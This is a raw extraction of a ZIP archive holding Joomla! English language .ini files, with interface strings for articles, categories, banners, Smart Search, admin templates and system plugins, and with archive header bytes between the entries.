COM_MODULES_POSITION_TOP="Top" COM_MODULES_POSITION_USER1="User 1" COM_MODULES_POSITION_USER2="User 2" COM_MODULES_POSITION_USER3="User 3" COM_MODULES_POSITION_USER4="User 4" COM_MODULES_POSITION_USER5="User 5" COM_MODULES_POSITION_USER6="User 6" COM_MODULES_POSITION_USER7="User 7" COM_MODULES_POSITION_USER8="User 8" COM_MODULES_SAVE_SUCCESS="Module successfully saved" COM_MODULES_TYPE_CHOOSE="Select a Module Type:" COM_MODULES_XML_DESCRIPTION="Component for module management in backend" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\0OQQ$language/en-US/en-US.mod_submenu.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SUBMENU="Admin sub-Menu" MOD_SUBMENU_XML_DESCRIPTION="This Module shows the sub-Menu Navigation Module" PK@y>\S 2language/en-US/en-US.plg_content_pagebreak.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGEBREAK="Content - Pagebreak" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Allow the creation of a paginated article with optional table of contents. Insert page breaks through the use of the page break button normally found in beneath the text panel in an Article. The page break will be displayed in the text window as a simple horizontal line.
            The text displayed will depend on the options chosen and may be either the title, alternate text (if provided) or page numbers.

            The HTML usage is:
            <hr class="_QQ_"system-pagebreak"_QQ_" />
            <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"The page title"_QQ_" /> or
            <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"The first page"_QQ_" /> or
            <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"The page title"_QQ_" alt="_QQ_"The first page"_QQ_" /> or
            <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"The first page"_QQ_" title="_QQ_"The page title"_QQ_" />"PK@y>\=0language/en-US/en-US.plg_finder_contacts.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Smart Search - Contacts" PLG_FINDER_CONTACTS_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Contacts"_QQ_" plugin" PLG_FINDER_CONTACTS_XML_DESCRIPTION="This plugin indexes Joomla! Contacts." PK@y>\}wzz3language/en-US/en-US.plg_content_emailcloak.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_EMAILCLOAK="Content - Email Cloaking" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Cloaks all emails in content from spambots using JavaScript"PK@y>\ (language/en-US/en-US.com_content.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT="Articles" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_DESC="Display all archived articles." COM_CONTENT_ARCHIVE_VIEW_DEFAULT_OPTION="Default" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_TITLE="Archived Articles" COM_CONTENT_ARTICLE_MANAGER="Article Manager" COM_CONTENT_ARTICLE_VIEW_DEFAULT_DESC="Display a single article." COM_CONTENT_ARTICLE_VIEW_DEFAULT_OPTION="Default" COM_CONTENT_ARTICLE_VIEW_DEFAULT_TITLE="Single Article" COM_CONTENT_ARTICLES="Articles" COM_CONTENT_CATEGORIES="Categories" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_DESC="Shows a list of all the article categories within a category." COM_CONTENT_CATEGORIES_VIEW_DEFAULT_OPTION="Default" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_TITLE="List All Categories" COM_CONTENT_CATEGORY_ADD_TITLE="Category Manager: Add A New Articles Category" COM_CONTENT_CATEGORY_EDIT_TITLE="Category Manager: Edit An Articles Category" COM_CONTENT_CATEGORY_VIEW_BLOG_DESC="Displays article introductions in a single or multi-column layout." COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION="Blog" COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE="Category Blog" COM_CONTENT_CATEGORY_VIEW_DEFAULT_DESC="Displays a list of articles in a category." COM_CONTENT_CATEGORY_VIEW_DEFAULT_OPTION="List" COM_CONTENT_CATEGORY_VIEW_DEFAULT_TITLE="Category List" COM_CONTENT_CATEGORY_VIEW_FEATURED_DESC="Show all featured articles from one or multiple categories in a single or multi-column layout." COM_CONTENT_CATEGORY_VIEW_FEATURED_OPTION="Default" COM_CONTENT_CATEGORY_VIEW_FEATURED_TITLE="Featured Articles Single Category" COM_CONTENT_FEATURED="Featured" COM_CONTENT_FEATURED_VIEW_DEFAULT_DESC="Displays article introductions in a single or multi-column layout for featured articles from all categories. " COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION="Default" COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE="Featured Articles" COM_CONTENT_FORM_VIEW_DEFAULT_DESC="Create a new article" COM_CONTENT_FORM_VIEW_DEFAULT_OPTION="Create" COM_CONTENT_FORM_VIEW_DEFAULT_TITLE="Create Article" COM_CONTENT_XML_DESCRIPTION="Article management component" PK@y>\\0language/en-US/en-US.plg_finder_weblinks.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_WEBLINKS="Smart Search - Weblinks" PLG_FINDER_WEBLINKS_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Weblinks"_QQ_" plugin" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="This plugin indexes Joomla! Weblinks." PK@y>\+0e-language/en-US/en-US.plg_system_debug.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_DEBUG_XML_DESCRIPTION="This plugin provides a variety of system information and assistance for the creation of translation files." PLG_SYSTEM_DEBUG="System - Debug" PK@y>\}۵{{(language/en-US/en-US.mod_version.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Joomla! Version Information" MOD_VERSION_LAYOUT_DEFAULT="Default" MOD_VERSION_XML_DESCRIPTION="This module displays the Joomla! version." PK@y>\ 77-language/en-US/en-US.plg_system_cache.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CACHE_XML_DESCRIPTION="Provides page caching" PLG_SYSTEM_CACHE="System - Cache"PK@y>\U7+language/en-US/en-US.plg_system_p3p.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_P3P_XML_DESCRIPTION="The system P3P policy plugin allows Joomla! to send a customised string of P3P policy tags in the HTTP header. This is required for the sessions to work on certain browsers, i.e. Internet Explorer 6 and 7." PLG_SYSTEM_P3P="System - P3P Policy" PK@y>\C>ؓ7language/en-US/en-US.plg_content_pagenavigation.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGENAVIGATION="Content - Page Navigation" PLG_PAGENAVIGATION_XML_DESCRIPTION="Enables you to add the Next & Previous functionality to an Article." PK@y>\SC"language/en-US/en-US.com_login.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LOGIN="Login" COM_LOGIN_JOOMLA_ADMINISTRATION_LOGIN="Joomla! Administration Login" COM_LOGIN_RETURN_TO_SITE_HOME_PAGE="Go to site home page." COM_LOGIN_VALID="Use a valid username and password to gain access to the administrator backend." COM_LOGIN_XML_DESCRIPTION="This component lets users login to the site."PK@y>\vv(language/en-US/en-US.mod_submenu.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SUBMENU="Admin sub-Menu" MOD_SUBMENU_XML_DESCRIPTION="This Module shows the sub-Menu Navigation Module" MOD_SUBMENU_LAYOUT_DEFAULT="Default" PK@y>\oPBB#language/en-US/en-US.tpl_hathor.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM HATHOR="Hathor Administrator template" TPL_HATHOR_ALTERNATE_MENU_DESC="Use the alternative menu which integrates mouse and keyboard. JavaScript Required. (The regular menu for Hathor is accessible with or without Javascript, but leaves the mouse and keyboard independent.)" TPL_HATHOR_ALTERNATE_MENU_LABEL="Alternative Menu" TPL_HATHOR_BOLD_TEXT_DESC="Use bold text" TPL_HATHOR_BOLD_TEXT_LABEL="Bold Text" TPL_HATHOR_COLOUR_CHOICE_DESC="Select the colour palette to use with the template. You can use this option to select a high contrast version or use it to create custom branding." TPL_HATHOR_COLOUR_CHOICE_LABEL="Select Colour" TPL_HATHOR_COLOUR_CHOICE_STANDARD="Standard" TPL_HATHOR_COLOUR_CHOICE_HIGH_CONTRAST="High Contrast" TPL_HATHOR_COLOUR_CHOICE_BROWN="Brown" TPL_HATHOR_COLOUR_CHOICE_BLUE="Blue" TPL_HATHOR_COM_MENUS_MENU="Menu" TPL_HATHOR_COM_MODULES_CUSTOM_POSITION_LABEL="Select" TPL_HATHOR_CPANEL_LINK_TEXT="Return to Control Panel" TPL_HATHOR_GO="Go" TPL_HATHOR_MAIN_MENU="Main Menu" TPL_HATHOR_SHOW_SITE_NAME_DESC="Show the site name in the template header" TPL_HATHOR_SHOW_SITE_NAME_LABEL="Show Site Name" TPL_HATHOR_SKIP_TO_MAIN_CONTENT="Skip to Main Content" TPL_HATHOR_SUB_MENU="Sub Menu" TPL_HATHOR_XML_DESCRIPTION="Hathor is an accessible administrator template for Joomla!. The Colour CSS files can also be used for custom colour branding."PK@y>\JUU,language/en-US/en-US.plg_user_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_JOOMLA="User - Joomla!" PLG_USER_JOOMLA_XML_DESCRIPTION="Handles Joomla!'s default User synchronisation"PK@y>\;52language/en-US/en-US.plg_finder_categories.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Smart Search - Categories" PLG_FINDER_CATEGORIES_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Categories"_QQ_" plugin" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="This plugin indexes Joomla! Categories." PK@y>\8!B"language/en-US/en-US.com_cache.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CACHE="Cache Manager" COM_CACHE_BACK_CACHE_MANAGER="Return to Cache Manager" COM_CACHE_CLEAR_CACHE_ADMIN="Clear Cache Admin" COM_CACHE_CLEAR_CACHE="Maintenance: Clear Cache" COM_CACHE_PURGE_EXPIRED_CACHE="Maintenance: Purge Expired Cache" COM_CACHE_CONFIGURATION="Cache Manager Settings" COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED="Expired items have been purged." COM_CACHE_GROUP="Cache Group" COM_CACHE_MANAGER="Cache Manager" COM_CACHE_NUM="#" COM_CACHE_NUMBER_OF_FILES="Number of Files" COM_CACHE_PURGE_CACHE_ADMIN="Purge Cache Admin" COM_CACHE_PURGE_EXPIRED="Purge expired" COM_CACHE_PURGE_EXPIRED_ITEMS="Purge expired items" COM_CACHE_PURGE_INSTRUCTIONS="Click on the Purge Expired icon in the toolbar to delete all expired cache files. Note: Cache files that are still current will not be deleted." COM_CACHE_RESOURCE_INTENSIVE_WARNING="WARNING: This can be resource intensive on sites with large number of items!" COM_CACHE_SIZE="Size" COM_CACHE_SELECT_CLIENT="- Select Location -" COM_CACHE_XML_DESCRIPTION="Component for cache management" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\pb&language/en-US/en-US.tpl_bluestork.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 TPL_BLUESTORK_FIELD_CONTRAST_DESC="Increase the contrast for better readability" TPL_BLUESTORK_FIELD_CONTRAST_LABEL="High Contrast" TPL_BLUESTORK_FIELD_SITENAME_DESC="Show the site name instead of generic 'Administration' in the template header." TPL_BLUESTORK_FIELD_SITENAME_LABEL="Show Site Name" TPL_BLUESTORK_FIELD_TEXTBIG_DESC="Increase the size of text for better readability" TPL_BLUESTORK_FIELD_TEXTBIG_LABEL="Bigger Text" TPL_BLUESTORK_HEADER="Administration" TPL_BLUESTORK_XML_DESCRIPTION="

            BlueStork is a template for the Joomla administrator.

            "PK@y>\=('language/en-US/en-US.com_categories.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 CATEGORIES_FIELDSET_OPTIONS="Options" COM_CATEGORIES="Categories" COM_CATEGORIES_ACCESS_CREATE_DESC="New setting for create actions in this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_ACCESS_DELETE_DESC="New setting for delete actions on this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_ACCESS_EDIT_DESC="New setting for edit actions on this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_ACCESS_EDITOWN_DESC="New setting for edit own actions on this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_ACCESS_EDITSTATE_DESC="New setting for edit state actions on this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_BASIC_FIELDSET_LABEL="Basic Options" COM_CATEGORIES_BATCH_CANNOT_CREATE="You are not allowed to create new categories in this category." COM_CATEGORIES_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these categories." COM_CATEGORIES_BATCH_CATEGORY_LABEL="Select Category for Move/Copy" COM_CATEGORIES_BATCH_OPTIONS="Batch process the selected categories" COM_CATEGORIES_BATCH_TIP="If choosing to copy a category, any other actions selected will be applied to the copied category. Otherwise, all actions are applied to the selected category." COM_CATEGORIES_CATEGORIES_BASE_TITLE="Category Manager" COM_CATEGORIES_CATEGORIES_TITLE="Category Manager: %s" COM_CATEGORIES_CATEGORY_ADD_TITLE="Category Manager: Add A New %s Category" COM_CATEGORIES_CATEGORY_BASE_ADD_TITLE="Category Manager: Add New Category" COM_CATEGORIES_CATEGORY_BASE_EDIT_TITLE="Category Manager: Edit Category" COM_CATEGORIES_CATEGORY_EDIT_TITLE="Category Manager: Edit A %s Category" COM_CATEGORIES_CATEGORY_OPTIONS="Category Options" COM_CATEGORIES_DELETE_NOT_ALLOWED="Delete not allowed for category %s. " COM_CATEGORIES_DESCRIPTION_DESC="Enter an optional category description in the text-area." COM_CATEGORIES_FIELD_IMAGE_DESC="Choose an image for this category" COM_CATEGORIES_FIELD_IMAGE_LABEL="Image" COM_CATEGORIES_FIELD_LANGUAGE_DESC="Assign a language to this category." COM_CATEGORIES_FIELD_PARENT_DESC="Select a Parent Category" COM_CATEGORIES_FIELD_PARENT_LABEL="Parent" COM_CATEGORIES_FIELDSET_DETAILS="Details" COM_CATEGORIES_FIELDSET_RULES="Category Permissions" COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS="%d items are assigned to this category's subcategories." COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS_1="%d item is assigned to one of this category's subcategories." COM_CATEGORIES_ITEMS_SEARCH_FILTER="Search" COM_CATEGORIES_N_ITEMS_ARCHIVED="%d categories successfully archived" COM_CATEGORIES_N_ITEMS_ARCHIVED_1="%d category successfully archived" COM_CATEGORIES_N_ITEMS_ASSIGNED="%d items are assigned to this category." COM_CATEGORIES_N_ITEMS_ASSIGNED_1="%d item is assigned to this category." COM_CATEGORIES_N_ITEMS_CHECKED_IN_0="No category successfully checked in" COM_CATEGORIES_N_ITEMS_CHECKED_IN_1="%d category successfully checked in" COM_CATEGORIES_N_ITEMS_CHECKED_IN_MORE="%d categories successfully checked in" COM_CATEGORIES_N_ITEMS_DELETED="%d categories successfully deleted" COM_CATEGORIES_N_ITEMS_DELETED_1="%d category successfully deleted" COM_CATEGORIES_N_ITEMS_PUBLISHED="%d categories successfully published" COM_CATEGORIES_N_ITEMS_PUBLISHED_1="%d category successfully published" COM_CATEGORIES_N_ITEMS_TRASHED="%d categories successfully trashed" COM_CATEGORIES_N_ITEMS_TRASHED_1="%d category successfully trashed" COM_CATEGORIES_N_ITEMS_UNPUBLISHED="%d categories successfully unpublished" COM_CATEGORIES_N_ITEMS_UNPUBLISHED_1="%d category successfully unpublished" COM_CATEGORIES_REBUILD_FAILURE="Failed rebuilding Categories tree data." COM_CATEGORIES_REBUILD_SUCCESS="Categories tree data successfully rebuilt." COM_CATEGORIES_SAVE_SUCCESS="Category successfully saved" COM_CATEGORIES_XML_DESCRIPTION="This component manages categories" JGLOBAL_NO_ITEM_SELECTED="No categories selected" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Cannot change the published state when the parent category is of a lesser state." JLIB_HTML_ACCESS_SUMMARY_DESC="Shown below is an overview of the permission settings for this category. Click the tabs above to customise these settings by action." JLIB_RULES_SETTING_NOTES_ITEM="1. If you change the setting, it will apply to this and all child categories. Note that:
            Inherited means that the permissions from the parent category will be used if there is a parent category or those from the component if there is no parent category.
            Denied means that no matter what the parent category setting is, the group being edited cannot take this action within this category.
            Allowed means that the group being edited will be able to take this action within this category (but if this is in conflict with the parent category setting or the component setting it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\HH5language/en-US/en-US.plg_editors-xtd_readmore.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_READMORE="Button - Readmore" PLG_READMORE_XML_DESCRIPTION="Enables a button which allows you to easily insert the Read more... link into an Article."PK@y>\C.B B 'language/en-US/en-US.com_finder.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER="Smart Search" COM_FINDER_XML_DESCRIPTION="Smart Search" COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT="The default search layout." COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE="Search" COM_FINDER_SEARCH_FILTER_SEARCH_LABEL="Search Filter" COM_FINDER_SEARCH_FILTER_SEARCH_DESC="Selecting a Search Filter will limit any searches submitted to use the selected filter." COM_FINDER_SEARCH_SEARCH_QUERY_LABEL="Search Query" COM_FINDER_SEARCH_SEARCH_QUERY_DESC="Entering search terms will make this menu item automatically return the results for the predefined terms." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Description Length" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESC="Description text for search results will be truncated to the specified character length." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Expand Advanced Search" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESC="Toggle whether the advanced search options should be expanded by default." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Advanced Search" COM_FINDER_CONFIG_SHOW_ADVANCED_DESC="Toggle whether users should be able to see advanced search options." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Result Description" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESC="Toggle whether the description should be displayed with search results." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Date Filters" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESC="Show the start and end date filters in the advanced search." COM_FINDER_CONFIG_SHOW_URL_LABEL="Result URL" COM_FINDER_CONFIG_SHOW_URL_DESC="Show the associated URL that for the item." COM_FINDER_CONFIG_SHOW_FEED_LABEL="Show Feed" COM_FINDER_CONFIG_SHOW_FEED_DESC="Show the syndication feed link" COM_FINDER_CONFIG_SHOW_FEED_TEXT_LABEL="Show Feed Text" COM_FINDER_CONFIG_SHOW_FEED_TEXT_DESC="Show the associated text with the feed, otherwise just the title is shown in the feed." COM_FINDER_SELECT_SEARCH_FILTER="Select filter" COM_FINDER_ALLOW_EMPTY_QUERY_LABEL="Allow Empty Search" COM_FINDER_ALLOW_EMPTY_QUERY_DESC="Only if a filter is selected, allow an empty search string to initiate a search within the filter constraints." COM_FINDER_CONFIG_SORT_DIRECTION_DESC="The direction in which to sort the search results." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Sort Direction" COM_FINDER_CONFIG_SORT_ORDER_DESC="The field on which to sort the search results." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Sort Field" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascending" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descending" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="List price" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevance" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Date" PK@y>\22$language/en-US/en-US.com_banners.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_BANNERS="Banners" COM_BANNERS_BANNER_DETAILS="Details" COM_BANNERS_BANNER_SAVE_SUCCESS="Banner successfully saved" COM_BANNERS_BANNERS_HTML_PIN_BANNER="Pinned banner" COM_BANNERS_BANNERS_HTML_UNPIN_BANNER="Unpinned banner" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED="%d banners successfully archived" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED_1="%d banner successfully archived" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_0="No banner successfully checked in" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_1="%d banner successfully checked in" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_MORE="%d banners successfully checked in" COM_BANNERS_BANNERS_N_ITEMS_DELETED="%d banners successfully deleted" COM_BANNERS_BANNERS_N_ITEMS_DELETED_1="%d banner successfully deleted" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED="%d banners successfully published" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED_1="%d banner successfully published" COM_BANNERS_BANNERS_N_ITEMS_TRASHED="%d banners successfully trashed" COM_BANNERS_BANNERS_N_ITEMS_TRASHED_1="%d banner successfully trashed" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED="%d banners successfully unpublished" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED_1="%d banner successfully unpublished" COM_BANNERS_BANNERS_NO_ITEM_SELECTED="No Banners selected" COM_BANNERS_BANNERS_PINNED="Pinned Banner" COM_BANNERS_BANNERS_UNPINNED="Unpinned Banner" COM_BANNERS_BATCH_CLIENT_LABEL="Set Client" COM_BANNERS_BATCH_CLIENT_LABEL_DESC="Not making a selection will keep the original client when processing." COM_BANNERS_BATCH_CLIENT_NOCHANGE="- Keep original Client -" COM_BANNERS_BATCH_OPTIONS="Batch process the selected banners" COM_BANNERS_BATCH_TIP="If choosing to copy a banner, any other actions selected will be applied to the copied banner. Otherwise, all actions are applied to the selected banner." COM_BANNERS_BEGIN_LABEL="Begin date:" COM_BANNERS_CANCEL="Cancel" COM_BANNERS_CLICK="Click" COM_BANNERS_CLIENT_SAVE_SUCCESS="Client successfully saved" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED="%d clients successfully archived" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED_1="%d client successfully archived" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_0="No client successfully checked in" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_1="%d client successfully checked in" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_MORE="%d clients successfully checked in" COM_BANNERS_CLIENTS_N_ITEMS_DELETED="%d clients successfully deleted" COM_BANNERS_CLIENTS_N_ITEMS_DELETED_1="%d client successfully deleted" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED="%d clients successfully published" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED_1="%d client successfully published" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED="%d clients successfully trashed" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED_1="%d client successfully trashed" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED="%d clients successfully unpublished" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED_1="%d client successfully unpublished" COM_BANNERS_CLIENTS_NO_ITEM_SELECTED="No clients selected" COM_BANNERS_CONFIGURATION="Banner Manager Options" COM_BANNERS_DEFAULT="Default (%s)" COM_BANNERS_DELETE_MSG="Are you sure you want to delete all these tracks?" COM_BANNERS_EDIT_BANNER="Edit Banner" COM_BANNERS_EDIT_CLIENT="Details" COM_BANNERS_END_LABEL="End date:" COM_BANNERS_ERR_ZIP_ADAPTER_FAILURE="Zip adapter failure" COM_BANNERS_ERR_ZIP_CREATE_FAILURE="Zip create failure" COM_BANNERS_ERR_ZIP_DELETE_FAILURE="Zip delete failure" COM_BANNERS_ERROR_UNIQUE_ALIAS="Another Banner from this category has the same alias" COM_BANNERS_EXTRA="Additional Information" COM_BANNERS_FIELD_ALIAS_DESC="The alias is for internal use only. Leave this blank and Joomla will fill in a default value from the title. It has to be unique for each banner in the same category." COM_BANNERS_FIELD_ALT_DESC="Alternative text for the banner image." COM_BANNERS_FIELD_ALT_LABEL="Alternative Text" COM_BANNERS_FIELD_BANNEROWNPREFIX_DESC="Use own prefix or the client prefix" COM_BANNERS_FIELD_BANNEROWNPREFIX_LABEL="Use Own Prefix" COM_BANNERS_FIELD_BASENAME_DESC="Filename pattern which can contain
            __SITE__ for the site name
            __CATID__ for the category ID
            __CATNAME__ for the category name
            __CLIENTID__ for the client ID
            __CLIENTNAME__ for the client name
            __TYPE__ for the type
            __TYPENAME__ for the type name
            __BEGIN__ for the begin date
            __END__ for the end date" COM_BANNERS_FIELD_BASENAME_LABEL="Filename" COM_BANNERS_FIELD_CATEGORY_DESC="Choose a category for this banner" COM_BANNERS_FIELD_CLICKS_DESC="Displays the number of clicks on the banner. Click on reset if desired." COM_BANNERS_FIELD_CLICKS_LABEL="Total Clicks" COM_BANNERS_FIELD_CLICKURL_DESC="The URL used when the banner is clicked on." COM_BANNERS_FIELD_CLICKURL_LABEL="Click URL" COM_BANNERS_FIELD_CLIENT_DESC="Choose a client for this banner" COM_BANNERS_FIELD_CLIENT_LABEL="Client" COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_DESC="When matching Meta Keywords, only search for Meta Keywords with this prefix (improves performance)." COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_LABEL="Meta Keyword Prefix" COM_BANNERS_FIELD_CLIENT_METAKEYWORDS_DESC="Enter here the meta keywords for the clients' banners" COM_BANNERS_FIELD_CLIENT_NAME_DESC="Enter a name for the client" 